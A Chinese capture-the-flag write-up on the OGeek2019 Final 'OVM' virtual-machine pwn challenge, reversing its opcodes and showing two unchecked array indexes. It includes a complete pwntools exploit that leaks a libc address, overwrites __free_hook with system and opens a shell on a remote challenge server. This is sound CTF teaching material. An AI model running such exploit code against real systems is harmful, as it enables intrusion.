目录

  • 前言:
  • 前置知识:
  • 例题:[OGeek2019 Final]OVM
    • 程序分析:
    • 漏洞点:两个数组越界
    • 利用思路:
    • exp:

前言:

对vm pwn这类题型还没怎么了解,找了一道[OGeek2019 Final]OVM,入个门先

前置知识:

先引用一波https://www.anquanke.com/post/id/208450#h2-1

虚拟机保护的题目相比于普通的pwn题逆向量要大许多,需要分析出分析出不同的opcode的功能再从中找出漏洞,实际上,vmpwn的大部分工作量都在逆向中,能分析出虚拟指令集的功能实现,要做出这道题也比较容易了。
1.虚拟机保护技术 所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

2.VStartVM 虚拟机的入口函数,对虚拟机环境进行初始化

3.VMDispather 解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环

4.opcode 程序可执行代码转换成的操作码

然后基本上漏洞都是数组越界,解题的话要知道opcode,对指令要逐个逆向解析。

例题:[OGeek2019 Final]OVM

程序分析:

保护就canary没开

程序先要求输入pc,sp,codesize,

然后会要求我们输入code命令,循环输入次数是codesize的值

循环完我们的指令后,会读指令,执行指令,结束后有往bss段的comment里存的堆的地址里读0x8c个字节,最后free掉堆的内存

重点看这个execute这个执行指令的函数

从这里可以判断出这个指令的格式

opcode |目的寄存器| 寄存器1 | 寄存器2

后续的代码就是根据opcode来执行指定操作

解析后大致是这样

mov reg, src2            0x10 : reg[dest] = src2
mov reg, 0              0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^                       0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper

漏洞点:两个数组越界

0x30里的赋值内存操作,memory的index没有任何检测,可以数组越界,
配合0xff的print功能可以造成地址泄露

离memory最近的就是stderr,可以填负数然后print泄露stderr(数组越界常规操作了)


然后0x40 是往地址里写值的操作,也是没有任何检测,可以任意地址写


值得注意的是寄存器都是4字节的,要分两次来读写

利用思路:

1.先任意读把stderr的地址,分高低地址读到两个寄存器中
2.gdb调试出freehook于stderr的固定偏移,我们改存stderr低地址的寄存器+固定偏移就是freehook的低地址
3.任意写把bss段comment存的堆地址改写为free_hook地址-8
4.执行print功能泄露地址,算出libc_base,得出system
5.接着的read会往free_hook地址-8读0x8c,我们只要填’/bin/sh\x00’+p64(system),
最后free时就会执行system(’/bin/sh’)
(exp里有寄存器的具体解析,然后指令数还可以短,不过也没必要啦)

exp:

from pwn import *
local_file  = './pwn'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc-2.23.so'
select = 1
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25244 )libc = ELF(remote_libc)
else:r = gdb.debug(local_file)libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims            :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):gdb.attach(r,cmd)
#------------------------
def opcode(code, dst, op1, op2):res = code<<24res += dst<<16res += op1<<8res += op2return str(res)
#---------------------------
'''
mov reg, src2       0x10 : reg[dest] = src2
mov reg, 0      0x20 : reg[dest] = 0
mov mem, reg            0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem            0x40 : memory[reg[src2]] = reg[dest]
push reg                0x50 : stack[result] = reg[dest]
pop reg                 0x60 : reg[dest] = stack[reg[13]]
add                     0x70 : reg[dest] = reg[src2] + reg[src1]
sub                     0x80 : reg[dest] = reg[src1] - reg[src2]
and                     0x90 : reg[dest] = reg[src2] & reg[src1]
or                      0xA0 : reg[dest] = reg[src2] | reg[src1]
^                   0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left                    0xC0 : reg[dest] = reg[src1] << reg[src2]
right                   0xD0 : reg[dest] = reg[src1] >> reg[src2]0xFF : (exit or print) if(reg[13] != 0) print oper
'''
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ',str(21))
ru('CODE: ')
#-------leak_stderr----------
sl(opcode(0x10,0,0,26)) #reg[0]=26
sl(opcode(0x80,1,1,0))  #reg[1]=26-reg[0]=-26
sl(opcode(0x30,2,0,1))  #reg[2]=memery[reg[1]]=low stderr
sl(opcode(0x10,0,0,25)) #reg[0]=25
sl(opcode(0x80,1,1,0))  #reg[1]=26-reg[0]=-25
sl(opcode(0x30,3,0,1))  #reg[3]=memery[reg[1]]=high stderr
#gdb: __free_hook-stderr=0x7ffff7dcf8e8-0x7ffff7dce840=0x10a8
#--------get 0x10a8-8---------
sl(opcode(0x10,0,0,1))  #reg[0]=1
sl(opcode(0x10,1,0,12)) #reg[1]=12
sl(opcode(0xc0,4,0,1))  #reg[4]=reg[0]<<reg[1]=1<<12=0x1000
sl(opcode(0x10,5,0,0xa0))#reg[5]=0xa0
sl(opcode(0x70,6,4,5))  #reg[6]=reg[5]+reg[4]=0x10a0
sl(opcode(0x70,4,6,2))  #reg[4]=reg[6]+reg[2]=free_hook-8      now 234 is addr,not change
#--------write_comment=free_hook-8----------------
#(memory-comment)/4=8
sl(opcode(0x10,0,0,8)) #reg[0]=8
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-8=-8
sl(opcode(0x40,4,0,5)) #memory[reg[5]]=memory[-8]=comment=reg[4]=low free_hook-8
sl(opcode(0x10,0,0,7)) #reg[0]=7
sl(opcode(0x10,1,0,0)) #reg[1]=0
sl(opcode(0x80,5,1,0)) #reg[5]=reg[1]-reg[0]=0-7=-7
sl(opcode(0x40,3,0,5)) #memory[reg[5]]=memory[-7]=comment=reg[3]=high stderr=high free_hook
sl(opcode(0xff,0,0,0))
#----------------------------------------------------
ru('R3: ')
high_addr=int(rc(4),16)
info('high_addr',high_addr)
ru('R4: ')
low_addr=int(rc(8),16)
info('low_addr',low_addr)
free_hook=high_addr*(2**32)+low_addr+8
libc_base=free_hook-libc.sym['__free_hook']
info('libc_base',libc_base)
system=libc_base+libc.sym['system']
sl('/bin/sh\x00'+p64(system))
r.interactive()

[OGeek2019 Final]OVM(简易虚拟机逃逸)相关推荐

  1. CVE-2020-2905: VirtualBox 虚拟机逃逸漏洞通告

    CVE-2020-2905: VirtualBox 虚拟机逃逸漏洞通告 360-CERT [360CERT](javascript:void(0)

  2. 逃离云端“母体”——虚拟机逃逸

    云计算时代已然到来,计算能力已经如同水和电一般,能够被我们随时使用,按需按量使用.依托于公有云设施,你只需轻松点击鼠标,即可购买处理器.内存.硬盘存储.网络带宽等资源,还可以伴随着需求的变化随时灵活调 ...

  3. vmware漏洞之三——Vmware虚拟机逃逸漏洞(CVE-2017-4901)Exploit代码分析与利用

    本文简单分析了代码的结构.有助于理解. 转:http://www.freebuf.com/news/141442.html 0×01 事件分析 2017年7月19 unamer在其github上发布了 ...

  4. 【虚拟机逃逸大法】这个程序自动从虚拟机里跑出来了!快阻止它,不然你系统要没!

    误入陷阱 夜黑风高,两个不速之客又一次来到了一片新的土地. "老二,总算进来了,咱们依计行事,你去扫描硬盘上的文件,看看有没有有价值的,我去修改开机启动项,把咱们加进去" &quo ...

  5. Java虚拟机-逃逸分析(Escape Analysis)和栈上分配

    我们都知道Java中的对象默认都是分配到堆上,在调用栈中,只保存了对象的指针.当对象不再使用后,需要依靠GC来遍历引用树并回收内存.如果堆中对象数量太多,回收对象还有整理内存,都会会带来时间上的消耗, ...

  6. 一道题目入门VMpwn

    一道题目学习VMpwn 原理 VMpwn 程序通常都是模拟一套虚拟机,对用户输入的opcode进行解析,模拟程序的执行,故VMpwn常见设计如下: 初始化分配模拟寄存器空间(reg) 初始化分配模拟栈 ...

  7. 【八芒星计划】 VM PWN

    这篇用来记录VM PWN 先申明本篇文章资料来源: https://blog.csdn.net/weixin_44145820/article/details/106600382 https://ww ...

  8. buuoj Pwn writeup 166-170

    166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...

  9. CentOS6.9 ARM虚拟机扩容系统磁盘

    由于扩容磁盘的操作非同小可,一旦哪一步出现问题,就会导致分区损坏,数据丢失等一系列严重的问题,因此建议:在进行虚拟机分区扩容之前,一定要备份重要数据文件,并且先在测试机上验证以下步骤,再应用于您的生产 ...

  10. docker逃逸 从Play-with-Docker容器逃逸到Docker主机

    导言 Play-with-Docker(PWD),即Docker的游乐场网站,专门供初学者迅速上手各种Docker命令.实际上,该网站是建立在许多Docker主机上的,每个主机运行多个供初学者使用的容 ...

最新文章

  1. 只需5行代码,手把手教你快速实现图像分割,代码逐行详解!
  2. flutter能开发游戏吗_游戏开发者都擅长“打自己的游戏”吗?
  3. 飞桨第三课2020.4.2
  4. 12种提升视频质量的方法
  5. tilecache2.11在windows apache2.22安装部署
  6. Jacobian vector products(转载+翻译+代码+解读)
  7. 多项式拟合lm_R语言多项式回归
  8. Windows遇到ERR_NETWORK_ACCESS_DENIED处理方案
  9. spring容器的懒加载
  10. --initialize specified but the data directory has files in it. Aborting.
  11. 最新计算机操作员高级试题,计算机操作员高级考试试题
  12. Linux6新建分区,centos6中添加一块新的硬盘并分区的方法介绍
  13. linux 中写一个脚本 定时删除缓存任务,并创建相关文件,Linux使用shell脚本定时删除历史日志文件...
  14. 统计学的Python实现-013:频度分布表
  15. 桌面在计算机哪个文件,计算机中win7系统桌面文件在c盘哪个文件夹
  16. 孤独最高境界:这款单人VR游戏竟能带来多人组队体验
  17. 阿里P7级别面试经验总结,完整版开放下载
  18. 如何设计过压保护电路?
  19. 火星人的耳机(Martian Headsets)
  20. Nginx证书配置:cer文件和jks文件转nginx证书.crt和key文件

热门文章

  1. C++ 控制台编译时显示‘ ld returned 1 exit status’
  2. 由三个点坐标判断三个点能否组成三角形模板(自用,客官可取)
  3. java okhhtp下载学信网学籍信息
  4. 频繁gc是什么意思_CPU飙高,频繁GC,怎么排查?
  5. python ttk separator_Python GUI编程(Tkinter)
  6. com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Incorrect database name ‘dongdong_1
  7. 磁盘被写保护怎么解除
  8. centos7 部署安装SRS流媒体服务器
  9. 刘宇凡:海子,一个孤独的灵魂诗人
  10. 74HC573锁存器